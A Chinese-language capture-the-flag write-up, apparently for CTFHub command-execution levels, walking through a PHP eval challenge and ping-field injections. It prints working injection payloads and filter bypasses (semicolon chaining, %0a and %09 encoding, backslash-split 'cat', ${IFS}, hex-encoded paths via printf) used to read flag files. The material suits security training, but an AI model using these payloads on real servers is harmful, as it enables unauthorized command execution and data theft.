应用有时需要调用一些执行系统命令的函数,当服务器没有经过严格过滤用户的参数,这时候就可能导致命令执行,从而导致命令执行漏洞
常用命令执行函数
源代码就在脸上
<?php if (isset($_REQUEST['cmd'])) { eval($_REQUEST["cmd"]); } else { highlight_file(__FILE__); } ?>
将命令赋值给cmd然后执行,构造语句直接查看根目录/?cmd=system("ls /");
发现了flag
直接查看?cmd=system("cat /flag_24666");
无过滤,构造语句尝试
看到一个php文件,cat后发现
仍然是先看一下当前目录的文件
这里用不了cat,可以尝试反斜杠、单引号连接,如:c/at
,c'a't
,然后就
这里仍然还能删掉空格直接查看目录
但下一步cat与文件之间的空格不可缺少
寻找代替空格的符号(这里试了试url编码和网上一些符号,只有<
的时候成功了,自己尝试尝试,可能是我哪里出了问题),最后
继续查看flag_is_here这个文件
既然过滤了/,那我们就不能直接查看文件里面的文件了也就是不能127.0.0.1 & ls /flag_is_here/flag_9012297169124.php
,这里利用分号使两个命令同时进行也就是127.0.0.1;cd flag_is_here;cat flag_9012297169124.php
,然后
只过滤了运算符,直接像上关一样用分号代替就好了
然后再
127.0.0.1;cat flag_221662467220077.php
执行后就发现
preg_match_all("/(\||&|;| |\/|cat|flag|ctfhub)/", $ip, $m)
上面几关用到的过滤方法基本都考虑到了,而网上大佬们的解题姿势也是各不相同,我在这里
%0a代替换行;%09代替TAB键(因为flag被过滤了,所以我们通过TAB来补全flag_is_here);%5c代替\(用\来分隔开cat,因为cat也被过滤了)
参考博客
如果在框里面输的话,url编码也有被过滤掉,所以都在url中直接输入
查看目录?ip=127.0.0.1%0Als
查看flag_is_here文件
?ip=127.0.0.1%0Als%09*is_here#
获取flag_27487913228635.php
127.0.0.1%0acd%09*_is_here%0aca%5ct%09*_27487913228635.php
发现flag
$(printf "路径")
代替路径,并对路径转换为16进制字符串用${IFS}
代替空格,$(printf "路径")
代替路径,将路径转化成16进制字符串参考博客,优先参考博客
第一步查看目录基本相同,这里是第二步查看flag_is_here
文件
/?ip=127.0.0.1%0als${IFS}$(printf${IFS}"\x66\x6c\x61\x67\x5f\x69\x73\x5f\x68\x65\x72\x65")
就等于
127.0.0.1;ls flag_is_here
然后获取flag_27487913228635.php
文件中的信息
基本上就这两个方法,剩下的都是大同小异,如:空格利用其他的一些字符代替,单引号绕过过滤cat等等等等。